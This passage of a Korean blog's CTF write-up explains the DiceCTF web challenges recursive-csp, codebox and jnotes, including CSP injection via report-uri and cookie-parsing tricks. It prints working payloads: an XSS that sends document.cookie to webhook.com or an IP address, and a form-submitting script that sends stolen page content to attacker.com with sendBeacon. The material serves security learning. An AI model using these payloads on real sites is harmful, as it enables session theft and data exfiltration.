  if (isset($_GET[&quot;name&quot;]) &amp;amp;&amp;amp; is_string($_GET[&quot;name&quot;]) &amp;amp;&amp;amp; strlen($_GET[&quot;name&quot;]) &amp;lt; 128) {
    $name = $_GET[&quot;name&quot;];
  }

  $nonce = hash(&quot;crc32b&quot;, $name);
  header(&quot;Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';&quot;);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;crc32b를 통한 암호화 결과는 8자리 이므로, 다음과 같이 트리거 시킬 xss payload와 이 값의 crc32b와 같은 값을 찾는 코드를 작성해준다. 만족하는 payload를 얻어내어 flag를 획득한다.&lt;/p&gt;
&lt;pre id=&quot;code_1675848547124&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
    for($i = 0x00000000; $i != 0xffffffff; $i++){
        $data = str_pad( strval(dechex($i)), 8, &quot;0&quot;, STR_PAD_LEFT);
        $gen = '&amp;lt;script nonce=&quot;'.$data.'&quot;&amp;gt;location.href=`http://webhook.com/?${document.cookie}`&amp;lt;/script&amp;gt;';
        $nonce = hash(&quot;crc32b&quot;, $gen);

        if ($data === $nonce){
            echo &quot;found\n&quot;;
            echo $gen;
            exit();
        }
    }
    
    // https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2217b4fd97%22%3Elocation.href=`http://220.92.92.131:8000/?cookie=${document.cookie}`%3C/script%3Ectf
    // dice{h0pe_that_d1dnt_take_too_l0ng}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2. codebox&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;325&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Tpvb0/btrYzk07miF/a8pz9vikFKQMYB1zTw4neK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Tpvb0/btrYzk07miF/a8pz9vikFKQMYB1zTw4neK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Tpvb0/btrYzk07miF/a8pz9vikFKQMYB1zTw4neK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTpvb0%2FbtrYzk07miF%2Fa8pz9vikFKQMYB1zTw4neK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;325&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;325&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제도 CSP 관련 문제이다. 사용자가 입력한 img tag의 src 값이 CSP에 들어가는 것을 볼&amp;nbsp; 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;src에 대한 어떠한 필터링이 없기 때문에 CSP에 추가적인 directive를 넣을 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1675858252677&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) =&amp;gt; {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        &quot;default-src 'none'&quot;,
        &quot;style-src 'unsafe-inline'&quot;,
        &quot;script-src 'unsafe-inline'&quot;,
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP에서 `report-uri` 라는 directive가 있다. 이에 대한 설명은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1675858957599&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CSP를 위반하였을 경우, 이를 보고하도록 사용자 에이전트(브라우저를 뜻하는 듯?)에게 지시한다.
이 위반 보고서는 HTTP POST 요청을 통해 JSON 데이터를 포함한 지정된 URI로 전송된다.

출처: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 다음과 같이 `report-uri` 지시문을 통해 지정된 URI 로 위반 보고서를 전송하게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1675859063143&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Content-Security-Policy: report-uri https://lactea.kr;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 설명을 바탕으로 다음과 같이 문제 서버에 값을 전달하면 성공적으로 CSP에 directive를 넣을 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBipfr/btrYAnv20Qu/KcZqmluH03n0bKtoCPrpK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBipfr/btrYAnv20Qu/KcZqmluH03n0bKtoCPrpK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBipfr/btrYAnv20Qu/KcZqmluH03n0bKtoCPrpK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBipfr%2FbtrYAnv20Qu%2FKcZqmluH03n0bKtoCPrpK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;404&quot; height=&quot;142&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;93&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8Yr21/btrYzlsijAH/ngkJvMHOrT4p2KsZ9zzCO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8Yr21/btrYzlsijAH/ngkJvMHOrT4p2KsZ9zzCO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8Yr21/btrYzlsijAH/ngkJvMHOrT4p2KsZ9zzCO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8Yr21%2FbtrYzlsijAH%2FngkJvMHOrT4p2KsZ9zzCO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;956&quot; height=&quot;93&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;93&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 위 script 태그는 아래 javascript 코드로 인해 실행되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iframe 태그를 생성하여 srcdoc에 html code를 넣지만, `sandbox` attr 때문에 script가 실행되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AQvJI/btrYyUO7ihF/OWXrCUeHy8cUkkTV0Rp00k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AQvJI/btrYyUO7ihF/OWXrCUeHy8cUkkTV0Rp00k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AQvJI/btrYyUO7ihF/OWXrCUeHy8cUkkTV0Rp00k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAQvJI%2FbtrYyUO7ihF%2FOWXrCUeHy8cUkkTV0Rp00k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;580&quot; height=&quot;296&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 위 javascript 때문에 아래 사진처럼 브라우저에서 이를 실행하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 CSP로 차단된 것이 아니기 때문에 `report-uri` directive 가 동작하지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;46&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bwo6Z/btrYBWknDjz/HqnTMh9fJS1unffKJg2Wxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bwo6Z/btrYBWknDjz/HqnTMh9fJS1unffKJg2Wxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bwo6Z/btrYBWknDjz/HqnTMh9fJS1unffKJg2Wxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBwo6Z%2FbtrYBWknDjz%2FHqnTMh9fJS1unffKJg2Wxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;46&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;46&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP directive 중에 `require-trusted-types-for` 라는 directive가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 directive에 대한 설명은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1675860906971&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Element.innerHTML setter와 같은 DOM XSS sink function에 전달된 데이터를 제어하도록
사용자 에이전트(브라우저?)에게 지시한다.

다음과 같은 Syntax를 지원한다.
- script
	DOM XSS 주입 sink function과 같은 문자열을 사용할 수 없음.

출처: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히 위 directive에 대한 이해가 잘 되진 않는데, 후배의 도움을 받아 이해한바로는,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Element.innerHTML 과 같은 setter는 html 코드를 DOM에 주입하여 실행하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 `require-trusted-types-for 'script'` directive가 CSP에 있다면, Element.innerHTML setter 등 이런 것들은 사용하지 못하도록 막는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 다음과 같이 입력하여 전송한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lDbZ1/btrYDeE6NMF/7mekV5PlezHaN5BsRk15X0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lDbZ1/btrYDeE6NMF/7mekV5PlezHaN5BsRk15X0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lDbZ1/btrYDeE6NMF/7mekV5PlezHaN5BsRk15X0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlDbZ1%2FbtrYDeE6NMF%2F7mekV5PlezHaN5BsRk15X0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;178&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`require-trusted-types-for 'script'` CSP로 인해 Element.innerHTML이 정책에 걸려 `report-uri` directive가 작동한 것을 볼 수 있다. 전송된 패킷을 보면, 어디에서 CSP 위반되었는지를 알 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3fBH6/btrYBWSehm5/amSCoBV32ZkTRoNFl2Ikek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3fBH6/btrYBWSehm5/amSCoBV32ZkTRoNFl2Ikek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3fBH6/btrYBWSehm5/amSCoBV32ZkTRoNFl2Ikek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3fBH6%2FbtrYBWSehm5%2FamSCoBV32ZkTRoNFl2Ikek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;862&quot; height=&quot;322&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 javascript 코드를 보면, 위 CSP에 걸린 위치는 대략 50번째 줄이다. 우리는 flag 값을 넣는 58번째 줄에 CSP 위반을 유도해야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AQvJI/btrYyUO7ihF/OWXrCUeHy8cUkkTV0Rp00k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AQvJI/btrYyUO7ihF/OWXrCUeHy8cUkkTV0Rp00k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AQvJI/btrYyUO7ihF/OWXrCUeHy8cUkkTV0Rp00k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAQvJI%2FbtrYyUO7ihF%2FOWXrCUeHy8cUkkTV0Rp00k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;580&quot; height=&quot;296&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, if 문을 동작하지 않게 하기 위해서는, 다음과 같이 code 라는 파라미터를 2개로 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나는 빈 값이고, 나머지 하나는 CSP를 넣는 payload 이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;380&quot; data-origin-height=&quot;42&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biWu9q/btrYChILCrq/oAcaoZb9Jtv0UcFJX3EEC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biWu9q/btrYChILCrq/oAcaoZb9Jtv0UcFJX3EEC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biWu9q/btrYChILCrq/oAcaoZb9Jtv0UcFJX3EEC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiWu9q%2FbtrYChILCrq%2FoAcaoZb9Jtv0UcFJX3EEC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;380&quot; height=&quot;42&quot; data-origin-width=&quot;380&quot; data-origin-height=&quot;42&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;report 패킷을 확인해 보면, 가짜 flag를 전송한 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 bot에게 전달하면 flag를 획득할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;741&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7YzPW/btrYByDYc9T/mN7etEboRTm7k3TdAPJLpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7YzPW/btrYByDYc9T/mN7etEboRTm7k3TdAPJLpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7YzPW/btrYByDYc9T/mN7etEboRTm7k3TdAPJLpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7YzPW%2FbtrYByDYc9T%2FmN7etEboRTm7k3TdAPJLpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;741&quot; height=&quot;315&quot; data-origin-width=&quot;741&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;dust&quot;&gt;&lt;code&gt;dice{i_als0_wr1te_csp_bypasses}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;3. jnotes&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/25FXc/btrYH20z0cf/3MKyhjzgbJYEOKfPXTmaFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/25FXc/btrYH20z0cf/3MKyhjzgbJYEOKfPXTmaFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/25FXc/btrYH20z0cf/3MKyhjzgbJYEOKfPXTmaFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F25FXc%2FbtrYH20z0cf%2F3MKyhjzgbJYEOKfPXTmaFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;359&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 java의 Javalin 웹 프레임워크를 사용한 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin의 Cookie를 탈취해야 하는 문제인데, `HttpOnly` 가 설정되어 있어 document.cookie 와 같은 방법으론 Cookie를 탈취할 수 없다.&lt;/p&gt;
&lt;pre id=&quot;code_1675951064160&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class App {
    public static String DEFAULT_NOTE = &quot;Hello world!\r\nThis is a simple note-taking app.&quot;;

    public static String getNote(Context ctx) {
        var note = ctx.cookie(&quot;note&quot;);
        if (note == null) {
            setNote(ctx, DEFAULT_NOTE);
            return DEFAULT_NOTE;
        }
        return URLDecoder.decode(note, StandardCharsets.UTF_8);
    }

    public static void setNote(Context ctx, String note) {
        note = URLEncoder.encode(note, StandardCharsets.UTF_8);
        ctx.cookie(new Cookie(&quot;note&quot;, note, &quot;/&quot;, -1, false, 0, true));
    }

    public static void main(String[] args) {
        var app = Javalin.create();

        app.get(&quot;/&quot;, ctx -&amp;gt; {
            var note = getNote(ctx);
            ctx.html(&quot;&quot;&quot;
                    &amp;lt;html&amp;gt;
                    &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;
                    &amp;lt;body&amp;gt;
                    &amp;lt;h1&amp;gt;jnotes&amp;lt;/h1&amp;gt;

                    &amp;lt;form method=&quot;post&quot; action=&quot;create&quot;&amp;gt;
                    &amp;lt;textarea rows=&quot;20&quot; cols=&quot;50&quot; name=&quot;note&quot;&amp;gt;
                    %s
                    &amp;lt;/textarea&amp;gt;
                    &amp;lt;br&amp;gt;
                    &amp;lt;button type=&quot;submit&quot;&amp;gt;Save notes&amp;lt;/button&amp;gt;
                    &amp;lt;/form&amp;gt;

                    &amp;lt;hr style=&quot;margin-top: 10em&quot;&amp;gt;
                    &amp;lt;footer&amp;gt;
                    &amp;lt;i&amp;gt;see something unusual on our site? report it &amp;lt;a href=&quot;https://adminbot.mc.ax/web-jnotes&quot;&amp;gt;here&amp;lt;/a&amp;gt;&amp;lt;/i&amp;gt;
                    &amp;lt;/footer&amp;gt;
                    &amp;lt;/body&amp;gt;
                    &amp;lt;/html&amp;gt;&quot;&quot;&quot;.formatted(note));
        });

        app.post(&quot;/create&quot;, ctx -&amp;gt; {
            var note = ctx.formParam(&quot;note&quot;);
            setNote(ctx, note);
            ctx.redirect(&quot;/&quot;);
        });
        
        app.start(1337);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Javalin 웹 프레임워크에서 Cookie 값을 구분짓는 방법은 다음과 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;더블쿼터의 시작과 끝을 기준으로 Cookie 값을 구분&lt;/li&gt;
&lt;li&gt;세미콜론은 이때의 상황에서는 무시됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 다음과 같은 값을 Cookie로 파싱한다면, 결과는 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1675951864441&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;asdf; FLAG=FLAG{aaaa}; test: value&quot;;

Cookie: note=asdf; FLAG=FLAG{aaaa}; test: value

console.log(document.cookie);
// asdf; FLAG=FLAG{aaaa}; test: value&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 위 상황은 임의로 넣은 cookie 값 사이에 flag 라는 Cookie가 들어가야 합니다. 즉, Cookie 가 어떻게 정렬되는지를 알아야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬 브라우저는 다음과 같은 순서로 Cookie를 정렬합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가장 긴 path 값을 기준으로 정렬&lt;/li&gt;
&lt;li&gt;최근에 업데이트 된 것으로 정렬&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 최종 payload는 다음과 같습니다.&lt;/p&gt;
&lt;pre class=&quot;html xml&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;form method=&quot;POST&quot; action=&quot;https://jnotes.mc.ax/create&quot;&amp;gt;
      &amp;lt;input id=&quot;p&quot; name=&quot;note&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;/form&amp;gt;

    &amp;lt;script&amp;gt;
      document.querySelector(&quot;#p&quot;).value = `
      &amp;lt;\x73cript&amp;gt;
      if (window.location.pathname !== &quot;//&quot;) {
        document.cookie = 'note=; Max-Age=-1';
        document.cookie = '=note=&quot;uhhh; path=//';
        document.cookie = 'END=ok&quot; ; path=';
        w = window.open('https://jnotes.mc.ax//');
        setTimeout(()=&amp;gt;{
          ex = w.document.body.innerHTML;
          navigator.sendBeacon('https://attacker.com', ex);
        }, 500);
      }
      `;
      document.forms[0].submit();
    &amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category> CTF</category>
      <author>Universe7202</author>
